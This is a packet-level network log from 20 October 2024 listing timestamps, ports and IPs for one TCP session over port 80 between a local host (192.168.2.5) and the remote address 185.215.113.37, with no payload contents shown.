Oct 20, 2024 08:40:15.498822927 CEST	80	49704	185.215.113.37	192.168.2.5
Oct 20, 2024 08:40:15.498831987 CEST	80	49704	185.215.113.37	192.168.2.5
Oct 20, 2024 08:40:15.498841047 CEST	80	49704	185.215.113.37	192.168.2.5
Oct 20, 2024 08:40:15.498843908 CEST	49704	80	192.168.2.5	185.215.113.37
Oct 20, 2024 08:40:15.498850107 CEST	80	49704	185.215.113.37	192.168.2.5
Oct 20, 2024 08:40:15.498858929 CEST	80	49704	185.215.113.37	192.168.2.5
Oct 20, 2024 08:40:15.498861074 CEST	49704	80	192.168.2.5	185.215.113.37
Oct 20, 2024 08:40:15.498869896 CEST	80	49704	185.215.113.37	192.168.2.5
Oct 20, 2024 08:40:15.498878956 CEST	49704	80	192.168.2.5	185.215.113.37
Oct 20, 2024 08:40:15.498878956 CEST	80	49704	185.215.113.37	192.168.2.5
Oct 20, 2024 08:40:15.498891115 CEST	80	49704	185.215.113.37	192.168.2.5
Oct 20, 2024 08:40:15.498893976 CEST	49704	80	192.168.2.5	185.215.113.37
Oct 20, 2024 08:40:15.498900890 CEST	80	49704	185.215.113.37	192.168.2.5
Oct 20, 2024 08:40:15.498909950 CEST	80	49704	185.215.113.37	192.168.2.5
Oct 20, 2024 08:40:15.498914003 CEST	49704	80	192.168.2.5	185.215.113.37
Oct 20, 2024 08:40:15.498919010 CEST	80	49704	185.215.113.37	192.168.2.5
Oct 20, 2024 08:40:15.498928070 CEST	80	49704	185.215.113.37	192.168.2.5
Oct 20, 2024 08:40:15.498944044 CEST	49704	80	192.168.2.5	185.215.113.37
Oct 20, 2024 08:40:15.498950005 CEST	80	49704	185.215.113.37	192.168.2.5
Oct 20, 2024 08:40:15.498959064 CEST	80	49704	185.215.113.37	192.168.2.5
Oct 20, 2024 08:40:15.498967886 CEST	80	49704	185.215.113.37	192.168.2.5
Oct 20, 2024 08:40:15.498976946 CEST	49704	80	192.168.2.5	185.215.113.37
Oct 20, 2024 08:40:15.498977900 CEST	80	49704	185.215.113.37	192.168.2.5
Oct 20, 2024 08:40:15.498987913 CEST	80	49704	185.215.113.37	192.168.2.5
Oct 20, 2024 08:40:15.498997927 CEST	49704	80	192.168.2.5	185.215.113.37
Oct 20, 2024 08:40:15.498999119 CEST	80	49704	185.215.113.37	192.168.2.5
Oct 20, 2024 08:40:15.499008894 CEST	80	49704	185.215.113.37	192.168.2.5
Oct 20, 2024 08:40:15.499017954 CEST	80	49704	185.215.113.37	192.168.2.5
Oct 20, 2024 08:40:15.499022961 CEST	49704	80	192.168.2.5	185.215.113.37
Oct 20, 2024 08:40:15.499036074 CEST	49704	80	192.168.2.5	185.215.113.37
Oct 20, 2024 08:40:15.499058008 CEST	49704	80	192.168.2.5	185.215.113.37
Oct 20, 2024 08:40:15.499093056 CEST	80	49704	185.215.113.37	192.168.2.5
Oct 20, 2024 08:40:15.499109030 CEST	80	49704	185.215.113.37	192.168.2.5
Oct 20, 2024 08:40:15.499123096 CEST	80	49704	185.215.113.37	192.168.2.5
Oct 20, 2024 08:40:15.499131918 CEST	49704	80	192.168.2.5	185.215.113.37
Oct 20, 2024 08:40:15.499133110 CEST	80	49704	185.215.113.37	192.168.2.5
Oct 20, 2024 08:40:15.499141932 CEST	80	49704	185.215.113.37	192.168.2.5
Oct 20, 2024 08:40:15.499150991 CEST	80	49704	185.215.113.37	192.168.2.5
Oct 20, 2024 08:40:15.499159098 CEST	49704	80	192.168.2.5	185.215.113.37
Oct 20, 2024 08:40:15.499164104 CEST	80	49704	185.215.113.37	192.168.2.5
Oct 20, 2024 08:40:15.499172926 CEST	80	49704	185.215.113.37	192.168.2.5
Oct 20, 2024 08:40:15.499183893 CEST	49704	80	192.168.2.5	185.215.113.37
Oct 20, 2024 08:40:15.499183893 CEST	80	49704	185.215.113.37	192.168.2.5
Oct 20, 2024 08:40:15.499192953 CEST	80	49704	185.215.113.37	192.168.2.5
Oct 20, 2024 08:40:15.499201059 CEST	49704	80	192.168.2.5	185.215.113.37
Oct 20, 2024 08:40:15.499202967 CEST	80	49704	185.215.113.37	192.168.2.5
Oct 20, 2024 08:40:15.499212980 CEST	80	49704	185.215.113.37	192.168.2.5
Oct 20, 2024 08:40:15.499222040 CEST	80	49704	185.215.113.37	192.168.2.5
Oct 20, 2024 08:40:15.499228001 CEST	49704	80	192.168.2.5	185.215.113.37
Oct 20, 2024 08:40:15.499232054 CEST	80	49704	185.215.113.37	192.168.2.5
Oct 20, 2024 08:40:15.499241114 CEST	80	49704	185.215.113.37	192.168.2.5
Oct 20, 2024 08:40:15.499249935 CEST	80	49704	185.215.113.37	192.168.2.5
Oct 20, 2024 08:40:15.499259949 CEST	49704	80	192.168.2.5	185.215.113.37
Oct 20, 2024 08:40:15.499260902 CEST	80	49704	185.215.113.37	192.168.2.5
Oct 20, 2024 08:40:15.499279976 CEST	49704	80	192.168.2.5	185.215.113.37
Oct 20, 2024 08:40:15.499280930 CEST	80	49704	185.215.113.37	192.168.2.5
Oct 20, 2024 08:40:15.499295950 CEST	80	49704	185.215.113.37	192.168.2.5
Oct 20, 2024 08:40:15.499299049 CEST	49704	80	192.168.2.5	185.215.113.37
Oct 20, 2024 08:40:15.499305964 CEST	80	49704	185.215.113.37	192.168.2.5
Oct 20, 2024 08:40:15.499314070 CEST	80	49704	185.215.113.37	192.168.2.5
Oct 20, 2024 08:40:15.499314070 CEST	49704	80	192.168.2.5	185.215.113.37
Oct 20, 2024 08:40:15.499324083 CEST	80	49704	185.215.113.37	192.168.2.5
Oct 20, 2024 08:40:15.499332905 CEST	80	49704	185.215.113.37	192.168.2.5
Oct 20, 2024 08:40:15.499342918 CEST	80	49704	185.215.113.37	192.168.2.5
Oct 20, 2024 08:40:15.499344110 CEST	49704	80	192.168.2.5	185.215.113.37
Oct 20, 2024 08:40:15.499352932 CEST	80	49704	185.215.113.37	192.168.2.5
Oct 20, 2024 08:40:15.499362946 CEST	80	49704	185.215.113.37	192.168.2.5
Oct 20, 2024 08:40:15.499372005 CEST	80	49704	185.215.113.37	192.168.2.5
Oct 20, 2024 08:40:15.499377012 CEST	49704	80	192.168.2.5	185.215.113.37
Oct 20, 2024 08:40:15.499381065 CEST	80	49704	185.215.113.37	192.168.2.5
Oct 20, 2024 08:40:15.499393940 CEST	49704	80	192.168.2.5	185.215.113.37
Oct 20, 2024 08:40:15.499397039 CEST	80	49704	185.215.113.37	192.168.2.5
Oct 20, 2024 08:40:15.499406099 CEST	49704	80	192.168.2.5	185.215.113.37
Oct 20, 2024 08:40:15.499408007 CEST	80	49704	185.215.113.37	192.168.2.5
Oct 20, 2024 08:40:15.499437094 CEST	49704	80	192.168.2.5	185.215.113.37
Oct 20, 2024 08:40:15.499443054 CEST	80	49704	185.215.113.37	192.168.2.5
Oct 20, 2024 08:40:15.499454975 CEST	49704	80	192.168.2.5	185.215.113.37
Oct 20, 2024 08:40:15.499459028 CEST	80	49704	185.215.113.37	192.168.2.5
Oct 20, 2024 08:40:15.499468088 CEST	80	49704	185.215.113.37	192.168.2.5
Oct 20, 2024 08:40:15.499476910 CEST	49704	80	192.168.2.5	185.215.113.37
Oct 20, 2024 08:40:15.499479055 CEST	80	49704	185.215.113.37	192.168.2.5
Oct 20, 2024 08:40:15.499488115 CEST	80	49704	185.215.113.37	192.168.2.5
Oct 20, 2024 08:40:15.499497890 CEST	80	49704	185.215.113.37	192.168.2.5
Oct 20, 2024 08:40:15.499500990 CEST	49704	80	192.168.2.5	185.215.113.37
Oct 20, 2024 08:40:15.499505997 CEST	80	49704	185.215.113.37	192.168.2.5
Oct 20, 2024 08:40:15.499521971 CEST	80	49704	185.215.113.37	192.168.2.5
Oct 20, 2024 08:40:15.499531031 CEST	80	49704	185.215.113.37	192.168.2.5
Oct 20, 2024 08:40:15.499541044 CEST	80	49704	185.215.113.37	192.168.2.5
Oct 20, 2024 08:40:15.499546051 CEST	49704	80	192.168.2.5	185.215.113.37
Oct 20, 2024 08:40:15.499550104 CEST	80	49704	185.215.113.37	192.168.2.5
Oct 20, 2024 08:40:15.499552965 CEST	49704	80	192.168.2.5	185.215.113.37
Oct 20, 2024 08:40:15.499561071 CEST	80	49704	185.215.113.37	192.168.2.5
Oct 20, 2024 08:40:15.499568939 CEST	80	49704	185.215.113.37	192.168.2.5
Oct 20, 2024 08:40:15.499574900 CEST	49704	80	192.168.2.5	185.215.113.37
Oct 20, 2024 08:40:15.499579906 CEST	80	49704	185.215.113.37	192.168.2.5
Oct 20, 2024 08:40:15.499588966 CEST	80	49704	185.215.113.37	192.168.2.5
Oct 20, 2024 08:40:15.499598980 CEST	80	49704	185.215.113.37	192.168.2.5
Oct 20, 2024 08:40:15.499605894 CEST	49704	80	192.168.2.5	185.215.113.37
Oct 20, 2024 08:40:15.499608994 CEST	80	49704	185.215.113.37	192.168.2.5
Oct 20, 2024 08:40:15.499614954 CEST	49704	80	192.168.2.5	185.215.113.37
Oct 20, 2024 08:40:15.499619961 CEST	80	49704	185.215.113.37	192.168.2.5
Oct 20, 2024 08:40:15.499629974 CEST	80	49704	185.215.113.37	192.168.2.5
Oct 20, 2024 08:40:15.499639034 CEST	80	49704	185.215.113.37	192.168.2.5
Oct 20, 2024 08:40:15.499641895 CEST	49704	80	192.168.2.5	185.215.113.37
Oct 20, 2024 08:40:15.499648094 CEST	80	49704	185.215.113.37	192.168.2.5
Oct 20, 2024 08:40:15.499651909 CEST	49704	80	192.168.2.5	185.215.113.37
Oct 20, 2024 08:40:15.499659061 CEST	80	49704	185.215.113.37	192.168.2.5
Oct 20, 2024 08:40:15.499670029 CEST	80	49704	185.215.113.37	192.168.2.5
Oct 20, 2024 08:40:15.499675989 CEST	49704	80	192.168.2.5	185.215.113.37
Oct 20, 2024 08:40:15.499686003 CEST	80	49704	185.215.113.37	192.168.2.5
Oct 20, 2024 08:40:15.499691010 CEST	49704	80	192.168.2.5	185.215.113.37
Oct 20, 2024 08:40:15.499696970 CEST	80	49704	185.215.113.37	192.168.2.5
Oct 20, 2024 08:40:15.499706030 CEST	80	49704	185.215.113.37	192.168.2.5
Oct 20, 2024 08:40:15.499706030 CEST	49704	80	192.168.2.5	185.215.113.37
Oct 20, 2024 08:40:15.499715090 CEST	80	49704	185.215.113.37	192.168.2.5
Oct 20, 2024 08:40:15.499731064 CEST	80	49704	185.215.113.37	192.168.2.5
Oct 20, 2024 08:40:15.499736071 CEST	49704	80	192.168.2.5	185.215.113.37
Oct 20, 2024 08:40:15.499742031 CEST	80	49704	185.215.113.37	192.168.2.5
Oct 20, 2024 08:40:15.499751091 CEST	80	49704	185.215.113.37	192.168.2.5
Oct 20, 2024 08:40:15.499759912 CEST	80	49704	185.215.113.37	192.168.2.5
Oct 20, 2024 08:40:15.499768019 CEST	49704	80	192.168.2.5	185.215.113.37
Oct 20, 2024 08:40:15.499774933 CEST	80	49704	185.215.113.37	192.168.2.5
Oct 20, 2024 08:40:15.499783039 CEST	80	49704	185.215.113.37	192.168.2.5
Oct 20, 2024 08:40:15.499787092 CEST	49704	80	192.168.2.5	185.215.113.37
Oct 20, 2024 08:40:15.499794006 CEST	80	49704	185.215.113.37	192.168.2.5
Oct 20, 2024 08:40:15.499803066 CEST	80	49704	185.215.113.37	192.168.2.5
Oct 20, 2024 08:40:15.499813080 CEST	80	49704	185.215.113.37	192.168.2.5
Oct 20, 2024 08:40:15.499814034 CEST	49704	80	192.168.2.5	185.215.113.37
Oct 20, 2024 08:40:15.499821901 CEST	80	49704	185.215.113.37	192.168.2.5
Oct 20, 2024 08:40:15.499833107 CEST	80	49704	185.215.113.37	192.168.2.5
Oct 20, 2024 08:40:15.499835968 CEST	49704	80	192.168.2.5	185.215.113.37
Oct 20, 2024 08:40:15.499842882 CEST	80	49704	185.215.113.37	192.168.2.5
Oct 20, 2024 08:40:15.499852896 CEST	80	49704	185.215.113.37	192.168.2.5
Oct 20, 2024 08:40:15.499852896 CEST	49704	80	192.168.2.5	185.215.113.37
Oct 20, 2024 08:40:15.499861002 CEST	80	49704	185.215.113.37	192.168.2.5
Oct 20, 2024 08:40:15.499870062 CEST	80	49704	185.215.113.37	192.168.2.5
Oct 20, 2024 08:40:15.499874115 CEST	49704	80	192.168.2.5	185.215.113.37
Oct 20, 2024 08:40:15.499883890 CEST	80	49704	185.215.113.37	192.168.2.5
Oct 20, 2024 08:40:15.499891996 CEST	49704	80	192.168.2.5	185.215.113.37
Oct 20, 2024 08:40:15.499892950 CEST	80	49704	185.215.113.37	192.168.2.5
Oct 20, 2024 08:40:15.499903917 CEST	80	49704	185.215.113.37	192.168.2.5
Oct 20, 2024 08:40:15.499911070 CEST	49704	80	192.168.2.5	185.215.113.37
Oct 20, 2024 08:40:15.499913931 CEST	80	49704	185.215.113.37	192.168.2.5
Oct 20, 2024 08:40:15.499923944 CEST	80	49704	185.215.113.37	192.168.2.5
Oct 20, 2024 08:40:15.499933958 CEST	80	49704	185.215.113.37	192.168.2.5
Oct 20, 2024 08:40:15.499939919 CEST	49704	80	192.168.2.5	185.215.113.37
Oct 20, 2024 08:40:15.499949932 CEST	80	49704	185.215.113.37	192.168.2.5
Oct 20, 2024 08:40:15.499958992 CEST	80	49704	185.215.113.37	192.168.2.5
Oct 20, 2024 08:40:15.499963999 CEST	49704	80	192.168.2.5	185.215.113.37
Oct 20, 2024 08:40:15.499969006 CEST	80	49704	185.215.113.37	192.168.2.5
Oct 20, 2024 08:40:15.499982119 CEST	49704	80	192.168.2.5	185.215.113.37
Oct 20, 2024 08:40:15.500011921 CEST	49704	80	192.168.2.5	185.215.113.37
Oct 20, 2024 08:40:15.795258045 CEST	49704	80	192.168.2.5	185.215.113.37
Oct 20, 2024 08:40:15.800103903 CEST	80	49704	185.215.113.37	192.168.2.5
Oct 20, 2024 08:40:16.145133018 CEST	80	49704	185.215.113.37	192.168.2.5
Oct 20, 2024 08:40:16.145150900 CEST	80	49704	185.215.113.37	192.168.2.5
Oct 20, 2024 08:40:16.145160913 CEST	80	49704	185.215.113.37	192.168.2.5
Oct 20, 2024 08:40:16.145170927 CEST	80	49704	185.215.113.37	192.168.2.5
Oct 20, 2024 08:40:16.145179987 CEST	80	49704	185.215.113.37	192.168.2.5
Oct 20, 2024 08:40:16.145189047 CEST	80	49704	185.215.113.37	192.168.2.5
Oct 20, 2024 08:40:16.145196915 CEST	49704	80	192.168.2.5	185.215.113.37
Oct 20, 2024 08:40:16.145199060 CEST	80	49704	185.215.113.37	192.168.2.5
Oct 20, 2024 08:40:16.145209074 CEST	80	49704	185.215.113.37	192.168.2.5
Oct 20, 2024 08:40:16.145222902 CEST	49704	80	192.168.2.5	185.215.113.37
Oct 20, 2024 08:40:16.145225048 CEST	80	49704	185.215.113.37	192.168.2.5
Oct 20, 2024 08:40:16.145236015 CEST	80	49704	185.215.113.37	192.168.2.5
Oct 20, 2024 08:40:16.145246029 CEST	80	49704	185.215.113.37	192.168.2.5
Oct 20, 2024 08:40:16.145255089 CEST	80	49704	185.215.113.37	192.168.2.5
Oct 20, 2024 08:40:16.145265102 CEST	80	49704	185.215.113.37	192.168.2.5
Oct 20, 2024 08:40:16.145273924 CEST	49704	80	192.168.2.5	185.215.113.37
Oct 20, 2024 08:40:16.145277977 CEST	80	49704	185.215.113.37	192.168.2.5
Oct 20, 2024 08:40:16.145288944 CEST	80	49704	185.215.113.37	192.168.2.5
Oct 20, 2024 08:40:16.145292997 CEST	49704	80	192.168.2.5	185.215.113.37
Oct 20, 2024 08:40:16.145309925 CEST	49704	80	192.168.2.5	185.215.113.37
Oct 20, 2024 08:40:16.145328045 CEST	80	49704	185.215.113.37	192.168.2.5
Oct 20, 2024 08:40:16.145339012 CEST	80	49704	185.215.113.37	192.168.2.5
Oct 20, 2024 08:40:16.145355940 CEST	80	49704	185.215.113.37	192.168.2.5
Oct 20, 2024 08:40:16.145365000 CEST	80	49704	185.215.113.37	192.168.2.5
Oct 20, 2024 08:40:16.145375967 CEST	80	49704	185.215.113.37	192.168.2.5
Oct 20, 2024 08:40:16.145386934 CEST	49704	80	192.168.2.5	185.215.113.37
Oct 20, 2024 08:40:16.145386934 CEST	49704	80	192.168.2.5	185.215.113.37
Oct 20, 2024 08:40:16.145402908 CEST	49704	80	192.168.2.5	185.215.113.37
Oct 20, 2024 08:40:16.145409107 CEST	49704	80	192.168.2.5	185.215.113.37
Oct 20, 2024 08:40:16.145476103 CEST	80	49704	185.215.113.37	192.168.2.5
Oct 20, 2024 08:40:16.145534039 CEST	49704	80	192.168.2.5	185.215.113.37
Oct 20, 2024 08:40:16.145569086 CEST	80	49704	185.215.113.37	192.168.2.5
Oct 20, 2024 08:40:16.145580053 CEST	80	49704	185.215.113.37	192.168.2.5
Oct 20, 2024 08:40:16.145589113 CEST	80	49704	185.215.113.37	192.168.2.5
Oct 20, 2024 08:40:16.145600080 CEST	80	49704	185.215.113.37	192.168.2.5
Oct 20, 2024 08:40:16.145612955 CEST	49704	80	192.168.2.5	185.215.113.37
Oct 20, 2024 08:40:16.145615101 CEST	80	49704	185.215.113.37	192.168.2.5
Oct 20, 2024 08:40:16.145625114 CEST	80	49704	185.215.113.37	192.168.2.5
Oct 20, 2024 08:40:16.145642042 CEST	80	49704	185.215.113.37	192.168.2.5
Oct 20, 2024 08:40:16.145653009 CEST	49704	80	192.168.2.5	185.215.113.37
Oct 20, 2024 08:40:16.145659924 CEST	80	49704	185.215.113.37	192.168.2.5
Oct 20, 2024 08:40:16.145669937 CEST	80	49704	185.215.113.37	192.168.2.5
Oct 20, 2024 08:40:16.145672083 CEST	49704	80	192.168.2.5	185.215.113.37
Oct 20, 2024 08:40:16.145679951 CEST	80	49704	185.215.113.37	192.168.2.5
Oct 20, 2024 08:40:16.145689964 CEST	80	49704	185.215.113.37	192.168.2.5
Oct 20, 2024 08:40:16.145690918 CEST	49704	80	192.168.2.5	185.215.113.37
Oct 20, 2024 08:40:16.145699978 CEST	80	49704	185.215.113.37	192.168.2.5
Oct 20, 2024 08:40:16.145710945 CEST	80	49704	185.215.113.37	192.168.2.5
Oct 20, 2024 08:40:16.145714998 CEST	80	49704	185.215.113.37	192.168.2.5
Oct 20, 2024 08:40:16.145715952 CEST	49704	80	192.168.2.5	185.215.113.37
Oct 20, 2024 08:40:16.145736933 CEST	49704	80	192.168.2.5	185.215.113.37
Oct 20, 2024 08:40:16.145736933 CEST	49704	80	192.168.2.5	185.215.113.37
Oct 20, 2024 08:40:16.145745993 CEST	80	49704	185.215.113.37	192.168.2.5
Oct 20, 2024 08:40:16.145756006 CEST	80	49704	185.215.113.37	192.168.2.5
Oct 20, 2024 08:40:16.145766020 CEST	80	49704	185.215.113.37	192.168.2.5
Oct 20, 2024 08:40:16.145775080 CEST	49704	80	192.168.2.5	185.215.113.37
Oct 20, 2024 08:40:16.145776987 CEST	80	49704	185.215.113.37	192.168.2.5
Oct 20, 2024 08:40:16.145785093 CEST	49704	80	192.168.2.5	185.215.113.37
Oct 20, 2024 08:40:16.145829916 CEST	49704	80	192.168.2.5	185.215.113.37
Oct 20, 2024 08:40:16.145865917 CEST	80	49704	185.215.113.37	192.168.2.5
Oct 20, 2024 08:40:16.145874023 CEST	80	49704	185.215.113.37	192.168.2.5
Oct 20, 2024 08:40:16.145891905 CEST	80	49704	185.215.113.37	192.168.2.5
Oct 20, 2024 08:40:16.145901918 CEST	80	49704	185.215.113.37	192.168.2.5
Oct 20, 2024 08:40:16.145903111 CEST	49704	80	192.168.2.5	185.215.113.37
Oct 20, 2024 08:40:16.145919085 CEST	80	49704	185.215.113.37	192.168.2.5
Oct 20, 2024 08:40:16.145927906 CEST	80	49704	185.215.113.37	192.168.2.5
Oct 20, 2024 08:40:16.145930052 CEST	49704	80	192.168.2.5	185.215.113.37
Oct 20, 2024 08:40:16.145946980 CEST	80	49704	185.215.113.37	192.168.2.5
Oct 20, 2024 08:40:16.145952940 CEST	49704	80	192.168.2.5	185.215.113.37
Oct 20, 2024 08:40:16.145957947 CEST	80	49704	185.215.113.37	192.168.2.5
Oct 20, 2024 08:40:16.145967007 CEST	80	49704	185.215.113.37	192.168.2.5
Oct 20, 2024 08:40:16.145972013 CEST	80	49704	185.215.113.37	192.168.2.5
Oct 20, 2024 08:40:16.145981073 CEST	80	49704	185.215.113.37	192.168.2.5
Oct 20, 2024 08:40:16.145984888 CEST	49704	80	192.168.2.5	185.215.113.37
Oct 20, 2024 08:40:16.145998001 CEST	80	49704	185.215.113.37	192.168.2.5
Oct 20, 2024 08:40:16.146008968 CEST	49704	80	192.168.2.5	185.215.113.37
Oct 20, 2024 08:40:16.146012068 CEST	80	49704	185.215.113.37	192.168.2.5
Oct 20, 2024 08:40:16.146023035 CEST	80	49704	185.215.113.37	192.168.2.5
Oct 20, 2024 08:40:16.146032095 CEST	80	49704	185.215.113.37	192.168.2.5
Oct 20, 2024 08:40:16.146042109 CEST	80	49704	185.215.113.37	192.168.2.5
Oct 20, 2024 08:40:16.146044970 CEST	49704	80	192.168.2.5	185.215.113.37
Oct 20, 2024 08:40:16.146044970 CEST	49704	80	192.168.2.5	185.215.113.37
Oct 20, 2024 08:40:16.146075010 CEST	49704	80	192.168.2.5	185.215.113.37
Oct 20, 2024 08:40:16.146101952 CEST	49704	80	192.168.2.5	185.215.113.37
Oct 20, 2024 08:40:16.146155119 CEST	80	49704	185.215.113.37	192.168.2.5
Oct 20, 2024 08:40:16.146169901 CEST	80	49704	185.215.113.37	192.168.2.5
Oct 20, 2024 08:40:16.146181107 CEST	80	49704	185.215.113.37	192.168.2.5
Oct 20, 2024 08:40:16.146189928 CEST	80	49704	185.215.113.37	192.168.2.5
Oct 20, 2024 08:40:16.146199942 CEST	80	49704	185.215.113.37	192.168.2.5
Oct 20, 2024 08:40:16.146215916 CEST	80	49704	185.215.113.37	192.168.2.5
Oct 20, 2024 08:40:16.146225929 CEST	80	49704	185.215.113.37	192.168.2.5
Oct 20, 2024 08:40:16.146229982 CEST	49704	80	192.168.2.5	185.215.113.37
Oct 20, 2024 08:40:16.146235943 CEST	80	49704	185.215.113.37	192.168.2.5
Oct 20, 2024 08:40:16.146245956 CEST	80	49704	185.215.113.37	192.168.2.5
Oct 20, 2024 08:40:16.146249056 CEST	49704	80	192.168.2.5	185.215.113.37
Oct 20, 2024 08:40:16.146249056 CEST	49704	80	192.168.2.5	185.215.113.37
Oct 20, 2024 08:40:16.146255016 CEST	80	49704	185.215.113.37	192.168.2.5
Oct 20, 2024 08:40:16.146264076 CEST	80	49704	185.215.113.37	192.168.2.5
Oct 20, 2024 08:40:16.146272898 CEST	80	49704	185.215.113.37	192.168.2.5
Oct 20, 2024 08:40:16.146281958 CEST	49704	80	192.168.2.5	185.215.113.37
Oct 20, 2024 08:40:16.146284103 CEST	80	49704	185.215.113.37	192.168.2.5
Oct 20, 2024 08:40:16.146296978 CEST	80	49704	185.215.113.37	192.168.2.5
Oct 20, 2024 08:40:16.146307945 CEST	80	49704	185.215.113.37	192.168.2.5
Oct 20, 2024 08:40:16.146312952 CEST	49704	80	192.168.2.5	185.215.113.37
Oct 20, 2024 08:40:16.146317959 CEST	80	49704	185.215.113.37	192.168.2.5
Oct 20, 2024 08:40:16.146326065 CEST	49704	80	192.168.2.5	185.215.113.37
Oct 20, 2024 08:40:16.146327972 CEST	80	49704	185.215.113.37	192.168.2.5
Oct 20, 2024 08:40:16.146344900 CEST	80	49704	185.215.113.37	192.168.2.5
Oct 20, 2024 08:40:16.146354914 CEST	80	49704	185.215.113.37	192.168.2.5
Oct 20, 2024 08:40:16.146357059 CEST	49704	80	192.168.2.5	185.215.113.37
Oct 20, 2024 08:40:16.146363974 CEST	80	49704	185.215.113.37	192.168.2.5
Oct 20, 2024 08:40:16.146372080 CEST	80	49704	185.215.113.37	192.168.2.5
Oct 20, 2024 08:40:16.146387100 CEST	80	49704	185.215.113.37	192.168.2.5
Oct 20, 2024 08:40:16.146400928 CEST	80	49704	185.215.113.37	192.168.2.5
Oct 20, 2024 08:40:16.146405935 CEST	80	49704	185.215.113.37	192.168.2.5
Oct 20, 2024 08:40:16.146408081 CEST	49704	80	192.168.2.5	185.215.113.37
Oct 20, 2024 08:40:16.146408081 CEST	49704	80	192.168.2.5	185.215.113.37
Oct 20, 2024 08:40:16.146415949 CEST	80	49704	185.215.113.37	192.168.2.5
Oct 20, 2024 08:40:16.146436930 CEST	80	49704	185.215.113.37	192.168.2.5
Oct 20, 2024 08:40:16.146442890 CEST	49704	80	192.168.2.5	185.215.113.37
Oct 20, 2024 08:40:16.146469116 CEST	49704	80	192.168.2.5	185.215.113.37
Oct 20, 2024 08:40:16.146478891 CEST	49704	80	192.168.2.5	185.215.113.37
Oct 20, 2024 08:40:16.146503925 CEST	80	49704	185.215.113.37	192.168.2.5
Oct 20, 2024 08:40:16.146512985 CEST	80	49704	185.215.113.37	192.168.2.5
Oct 20, 2024 08:40:16.146523952 CEST	80	49704	185.215.113.37	192.168.2.5
Oct 20, 2024 08:40:16.146541119 CEST	80	49704	185.215.113.37	192.168.2.5
Oct 20, 2024 08:40:16.146548033 CEST	49704	80	192.168.2.5	185.215.113.37
Oct 20, 2024 08:40:16.146553993 CEST	80	49704	185.215.113.37	192.168.2.5
Oct 20, 2024 08:40:16.146564960 CEST	80	49704	185.215.113.37	192.168.2.5
Oct 20, 2024 08:40:16.146588087 CEST	49704	80	192.168.2.5	185.215.113.37
Oct 20, 2024 08:40:16.146588087 CEST	49704	80	192.168.2.5	185.215.113.37
Oct 20, 2024 08:40:16.146608114 CEST	80	49704	185.215.113.37	192.168.2.5
Oct 20, 2024 08:40:16.146620989 CEST	49704	80	192.168.2.5	185.215.113.37
Oct 20, 2024 08:40:16.146658897 CEST	80	49704	185.215.113.37	192.168.2.5
Oct 20, 2024 08:40:16.146670103 CEST	80	49704	185.215.113.37	192.168.2.5
Oct 20, 2024 08:40:16.146680117 CEST	80	49704	185.215.113.37	192.168.2.5
Oct 20, 2024 08:40:16.146688938 CEST	80	49704	185.215.113.37	192.168.2.5
Oct 20, 2024 08:40:16.146699905 CEST	80	49704	185.215.113.37	192.168.2.5
Oct 20, 2024 08:40:16.146711111 CEST	49704	80	192.168.2.5	185.215.113.37
Oct 20, 2024 08:40:16.146733046 CEST	80	49704	185.215.113.37	192.168.2.5
Oct 20, 2024 08:40:16.146743059 CEST	80	49704	185.215.113.37	192.168.2.5
Oct 20, 2024 08:40:16.146744967 CEST	49704	80	192.168.2.5	185.215.113.37
Oct 20, 2024 08:40:16.146754980 CEST	80	49704	185.215.113.37	192.168.2.5
Oct 20, 2024 08:40:16.146764994 CEST	80	49704	185.215.113.37	192.168.2.5
Oct 20, 2024 08:40:16.146780014 CEST	49704	80	192.168.2.5	185.215.113.37
Oct 20, 2024 08:40:16.146796942 CEST	49704	80	192.168.2.5	185.215.113.37
Oct 20, 2024 08:40:16.146821022 CEST	49704	80	192.168.2.5	185.215.113.37
Oct 20, 2024 08:40:16.146908998 CEST	80	49704	185.215.113.37	192.168.2.5
Oct 20, 2024 08:40:16.146919012 CEST	80	49704	185.215.113.37	192.168.2.5
Oct 20, 2024 08:40:16.146933079 CEST	80	49704	185.215.113.37	192.168.2.5
Oct 20, 2024 08:40:16.146943092 CEST	80	49704	185.215.113.37	192.168.2.5
Oct 20, 2024 08:40:16.146955013 CEST	80	49704	185.215.113.37	192.168.2.5
Oct 20, 2024 08:40:16.146955967 CEST	49704	80	192.168.2.5	185.215.113.37
Oct 20, 2024 08:40:16.146971941 CEST	80	49704	185.215.113.37	192.168.2.5
Oct 20, 2024 08:40:16.146981955 CEST	80	49704	185.215.113.37	192.168.2.5
Oct 20, 2024 08:40:16.146982908 CEST	49704	80	192.168.2.5	185.215.113.37
Oct 20, 2024 08:40:16.146987915 CEST	80	49704	185.215.113.37	192.168.2.5
Oct 20, 2024 08:40:16.146991968 CEST	80	49704	185.215.113.37	192.168.2.5
Oct 20, 2024 08:40:16.146996975 CEST	80	49704	185.215.113.37	192.168.2.5
Oct 20, 2024 08:40:16.147001028 CEST	49704	80	192.168.2.5	185.215.113.37
Oct 20, 2024 08:40:16.147005081 CEST	80	49704	185.215.113.37	192.168.2.5
Oct 20, 2024 08:40:16.147011042 CEST	80	49704	185.215.113.37	192.168.2.5
Oct 20, 2024 08:40:16.147015095 CEST	80	49704	185.215.113.37	192.168.2.5
Oct 20, 2024 08:40:16.147027016 CEST	80	49704	185.215.113.37	192.168.2.5
Oct 20, 2024 08:40:16.147037029 CEST	80	49704	185.215.113.37	192.168.2.5
Oct 20, 2024 08:40:16.147038937 CEST	49704	80	192.168.2.5	185.215.113.37
Oct 20, 2024 08:40:16.147047043 CEST	80	49704	185.215.113.37	192.168.2.5
Oct 20, 2024 08:40:16.147057056 CEST	80	49704	185.215.113.37	192.168.2.5
Oct 20, 2024 08:40:16.147067070 CEST	80	49704	185.215.113.37	192.168.2.5
Oct 20, 2024 08:40:16.147073030 CEST	49704	80	192.168.2.5	185.215.113.37
Oct 20, 2024 08:40:16.147075891 CEST	80	49704	185.215.113.37	192.168.2.5
Oct 20, 2024 08:40:16.147095919 CEST	49704	80	192.168.2.5	185.215.113.37
Oct 20, 2024 08:40:16.147116899 CEST	49704	80	192.168.2.5	185.215.113.37
Oct 20, 2024 08:40:16.147130013 CEST	80	49704	185.215.113.37	192.168.2.5
Oct 20, 2024 08:40:16.147139072 CEST	80	49704	185.215.113.37	192.168.2.5
Oct 20, 2024 08:40:16.147147894 CEST	80	49704	185.215.113.37	192.168.2.5
Oct 20, 2024 08:40:16.147156954 CEST	80	49704	185.215.113.37	192.168.2.5
Oct 20, 2024 08:40:16.147170067 CEST	49704	80	192.168.2.5	185.215.113.37
Oct 20, 2024 08:40:16.147171974 CEST	80	49704	185.215.113.37	192.168.2.5
